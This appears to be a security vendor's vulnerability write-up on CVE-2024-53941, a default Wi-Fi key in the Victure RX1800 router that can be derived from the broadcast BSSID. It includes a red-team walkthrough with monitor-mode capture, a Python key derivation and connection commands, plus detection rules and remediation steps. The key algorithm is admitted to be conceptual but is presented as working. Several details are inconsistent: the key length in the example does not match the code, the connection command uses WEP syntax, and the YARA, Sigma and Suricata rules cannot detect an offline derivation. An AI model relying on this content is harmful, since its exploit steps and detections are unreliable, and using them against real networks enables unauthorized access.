CVE-2024-53941

Executive Summary

CVE-2024-53941 exposes a critical design flaw in the Victure RX1800 WiFi 6 Router (software version EN_V1.0.0_r12_110933, hardware 1.0). The vulnerability allows a remote attacker within Wi-Fi range to derive the default Pre-Shared Key (PSK) by analyzing the last 4 octets of the router’s BSSID. This enables unauthorized network access without authentication, compromising the confidentiality of the wireless network. The vendor has not released a patch, leaving all affected devices vulnerable.

CVSS Breakdown & Threat Level

• Attack Vector (AV): Adjacent Network (AV:A) – Requires proximity to the Wi-Fi signal.
• Attack Complexity (AC): Low (AC:L) – No special conditions required.
• Privileges Required (PR): None (PR:N) – No prior access needed.
• User Interaction (UI): None (UI:N) – No user action required.
• Scope (S): Unchanged (S:U) – The vulnerability does not cross trust boundaries.
• Confidentiality (C): High (C:H) – Full network traffic decryption possible.
• Integrity (I): None (I:N) – No data modification.
• Availability (A): None (A:N) – No denial of service.

CVSS Score: 6.5 (Medium) – High confidentiality impact but limited to adjacent network.

Deep Dive & Mechanics

The Victure RX1800 router generates its default Wi-Fi PSK using a deterministic algorithm that incorporates the last 4 octets of its BSSID (the MAC address of the wireless interface). Since the BSSID is broadcast in beacon frames, an attacker can passively capture it and compute the PSK offline. The algorithm likely uses a simple transformation (e.g., concatenation or hashing) of these octets, making the PSK predictable. This bypasses the need for brute-force attacks and allows immediate network access.

Vulnerable vs. Patched Code

Vulnerable Code (Conceptual):

def generate_default_psk(bssid):
    # BSSID format: XX:XX:XX:XX:XX:XX
    last_four = bssid.replace(':', '')[-8:]  # Last 4 octets = 8 hex chars
    psk = "Victure_" + last_four  # Simple concatenation
    return psk

Patched Code (Hypothetical):

import secrets
def generate_default_psk():
    # Use cryptographically secure random generation
    psk = secrets.token_hex(16)  # 128-bit random key
    return psk

The vulnerable code uses a static, predictable pattern based on the BSSID, while the patched version employs a secure random generator.

Exploitation & Lab Setup

Red Team (Attack Simulation)

1. Passive Reconnaissance: Use a Wi-Fi adapter in monitor mode to capture beacon frames.

   sudo airmon-ng start wlan0
   sudo airodump-ng wlan0mon
   

2. Extract BSSID: Note the BSSID of the target Victure RX1800.
3. Compute PSK: Derive the PSK using the last 4 octets.

   bssid = "AA:BB:CC:DD:EE:FF"
   last_four = bssid.replace(':', '')[-8:]
   psk = "Victure_" + last_four
   print(f"Derived PSK: {psk}")
   

4. Connect to Network: Use the derived PSK to authenticate.

   sudo iwconfig wlan0 essid "Victure_XXXX" key s:Victure_DDEEFF
   sudo dhclient wlan0
   

Blue Team (Defense & Detection)

• Monitor for Anomalous Connections: Log all new Wi-Fi associations and flag repeated attempts from unknown MACs.
• Deploy Honeypot SSID: Create a decoy network to lure attackers and log their behavior.
• Enable WPA3: If supported, upgrade to WPA3 which mitigates PSK-based attacks.
• Change Default PSK: Immediately change the default Wi-Fi password to a strong, random passphrase.

Indicators of Compromise (IOCs)

• Network Traffic: Beacon frames from BSSID ending with predictable patterns (e.g., last 4 octets matching default PSK).
• Authentication Logs: Multiple failed or successful authentication attempts from unknown devices within a short time.
• MAC Addresses: Devices connecting with MAC addresses that do not match known inventory.

Detection Engineering

YARA Rule

rule Victure_RX1800_PSK_Leak {
    meta:
        description = "Detects default PSK generation pattern in Victure RX1800 firmware"
        author = "Valters IT"
        date = "2024-12-01"
    strings:
        $psk_pattern = /Victure_[0-9A-Fa-f]{8}/
    condition:
        $psk_pattern
}

Sigma Rule

title: Victure RX1800 Default PSK Derivation Attempt
id: 8f4c3b2a-1d5e-4f7a-9c8b-0a1b2c3d4e5f
status: experimental
description: Detects attempts to derive default PSK from BSSID
logsource:
    category: network_connection
    product: windows
detection:
    selection:
        EventID: 8003
        Description|contains: "Victure_"
    condition: selection
falsepositives:
    - Legitimate configuration changes
level: high

Suricata Rule

alert tcp any any -> any any (msg:"Victure RX1800 Default PSK Derivation"; content:"Victure_"; depth:8; sid:1000001; rev:1;)

Remediation & Mitigation

1. Immediate Action: Change the default Wi-Fi PSK to a strong, random passphrase (minimum 16 characters, mixed case, numbers, symbols).
2. Firmware Update: Monitor Victure’s website for a patched firmware version. If none is available, consider replacing the router.
3. Network Segmentation: Place the router on a separate VLAN with limited access to sensitive resources.
4. Disable WPS: Ensure Wi-Fi Protected Setup is disabled to prevent additional attack vectors.
5. Monitor Logs: Regularly review authentication logs for unauthorized access attempts.

Valters IT
Securing Digital Frontiers